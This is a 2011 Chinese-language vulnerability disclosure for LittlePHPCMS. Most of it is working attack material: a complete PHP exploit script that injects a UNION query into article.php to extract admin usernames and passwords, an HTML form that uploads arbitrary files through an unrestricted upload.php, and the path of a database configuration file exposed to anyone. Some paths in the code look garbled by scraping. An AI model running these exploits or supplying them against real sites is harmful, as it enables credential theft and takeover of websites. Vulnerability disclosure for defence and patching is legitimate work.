littlephpcms多处注入,上传，信息泄漏等漏洞

 
漏洞作者：黑小子
公开时间：2011-09-20

漏洞类型：SQL注射
简要描述：

 
[pre]// pageArt.php //..略 $column = $_POST["column"]; $rownum = $_POST["rownum"]; $sql = " select id,title,addtime from lpc_article where column_id=".$column; //..略 其他类似文件..略 [/pre]
Exp:
[pre]<?php&nbsp;error_reporting(E_ERROR);&nbsp;print_r('&nbsp;+---------------------------------------------------------------------+&nbsp;Sql&nbsp;injection&nbsp;Vul&nbsp;Exploit&nbsp;&nbsp;Exp&nbsp;:黑小子&nbsp;cfking&nbsp;Home:&nbsp;www.heixiaozi.com&nbsp;www.webvul.com&nbsp;2011.09.20&nbsp;+---------------------------------------------------------------------+&nbsp;');&nbsp;&nbsp;if&nbsp;($argc&nbsp;<&nbsp;2)&nbsp;{&nbsp;print_r('&nbsp;Usage:&nbsp;php&nbsp;'.$argv[0].'&nbsp;host&nbsp;/path&nbsp;Example:&nbsp;php&nbsp;'.$argv[0].'&nbsp;www.heixiaozi.com&nbsp;test&nbsp;');&nbsp;die();&nbsp;}&nbsp;ob_start();&nbsp;$host&nbsp;=&nbsp;$argv[1];&nbsp;$path=&nbsp;$argv[2];&nbsp;$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80,&nbsp;$errno,&nbsp;$errstr,&nbsp;30);&nbsp;if&nbsp;(!$sock)&nbsp;die(&quot;$errstr&nbsp;($errno)\n&quot;);&nbsp;fwrite($sock,&nbsp;&quot;GET&nbsp;/article.php?id=255%20and%2201=2%20union+select+0,concat(0x63666B696E677339307365637E,uname,0x2D,upass,0x7E31),0,0,0,0,0,0+from+lpc_admin+LIMIT+0,1--&nbsp;HTTP/1.1\r\n&quot;);&nbsp;fwrite($sock,&nbsp;&quot;Host:&nbsp;$host\r\n&quot;);&nbsp;fwrite($sock,&nbsp;&quot;User-Agent:&nbsp;Mozilla/5.0&nbsp;(Windows&nbsp;NT&nbsp;5.2;&nbsp;rv:6.0.2)&nbsp;Gecko/20100101&nbsp;Firefox/6.0.2\r\n&quot;);&nbsp;fwrite($sock,&nbsp;&quot;Accept:&nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;);&nbsp;fwrite($sock,&nbsp;&quot;Accept-Language:&nbsp;zh-cn,zh;q=0.5\r\n&quot;);&nbsp;fwrite($sock,&nbsp;&quot;Connection:&nbsp;keep-alive\r\n\r\n&quot;);&nbsp;$headers&nbsp;=&nbsp;&quot;&quot;;&nbsp;while&nbsp;($str&nbsp;=&nbsp;trim(fgets($sock,&nbsp;1024)))&nbsp;$headers&nbsp;.=&nbsp;&quot;$str\n&quot;;&nbsp;$body&nbsp;=&nbsp;&quot;&quot;;&nbsp;while&nbsp;(!feof($sock))&nbsp;$body&nbsp;.=&nbsp;fgets($sock,&nbsp;1024);&nbsp;fclose($sock);&nbsp;ob_end_flush();&nbsp;//print_r($body);&nbsp;if&nbsp;(strpos($body,&nbsp;'cfkings90sec')&nbsp;!==&nbsp;false)&nbsp;{&nbsp;preg_match('/cfkings90sec~(.*?)~1/',&nbsp;$body,&nbsp;$arr);&nbsp;$result=explode(&quot;-&quot;,$arr[1]);&nbsp;print_r(&quot;Exploit&nbsp;Success!&nbsp;\nusername:&quot;.$result[0].&quot;\npassword:&quot;.$result[1].&quot;\n&quot;);&nbsp;&nbsp;}&nbsp;else{&nbsp;print_r(&quot;Exploit&nbsp;Failed!&nbsp;\n&quot;);&nbsp;}&nbsp;?>&nbsp;[/pre]
文件上传：

&nbsp;
漏洞文件:admin/column/upload.php

&nbsp;
[pre]admin/article/upload.php&nbsp;&nbsp;&nbsp;$upload_dir&nbsp;=&nbsp;'../..http://www.yunsec.net/uploads/';&nbsp;&nbsp;$file_path&nbsp;=&nbsp;$upload_dir&nbsp;.&nbsp;$_FILES['myfile']['name'];&nbsp;&nbsp;$MAX_SIZE&nbsp;=&nbsp;20000000;&nbsp;&nbsp;echo&nbsp;$_POST['buttoninfo'];&nbsp;&nbsp;......&nbsp;&nbsp;&nbsp;if($_FILES['myfile']['size']>$MAX_SIZE)&nbsp;&nbsp;echo&nbsp;&quot;上传的文件大小超过了规定大小&quot;;&nbsp;&nbsp;&nbsp;if($_FILES['myfile']['size']&nbsp;==&nbsp;0)&nbsp;&nbsp;echo&nbsp;&quot;请选择上传的文件&quot;;&nbsp;&nbsp;&nbsp;if(!move_uploaded_file(&nbsp;$_FILES['myfile']['tmp_name'],&nbsp;$file_path))&nbsp;&nbsp;echo&nbsp;&quot;复制文件失败，请重新上传&quot;;&nbsp;[/pre]




&nbsp;两个文件都没任何限制！
Exp:

&nbsp;



&nbsp;<metahttp-equiv=&quot;Content-Type&quot;content=&quot;text/html;charset=gb2312&quot;/>

<formenctype=&quot;multipart/form-data&quot;action=&quot;http://www.yunsec.net/admin/column/upload.php&quot;method=&quot;post&quot;>

<p>上传后网站跟目录http://www.yunsec.net/uploads/你上传的文件名<p>

<inputtype=&quot;file&quot;name=&quot;myfile&quot;size=&quot;20&quot;>

<inputtype=&quot;submit&quot;value=&quot;Upload&quot;>

</form>



&nbsp;

&nbsp;信息泄漏：



10        http://www.yunsec.net/admin/lib/db/config.xml
&nbsp;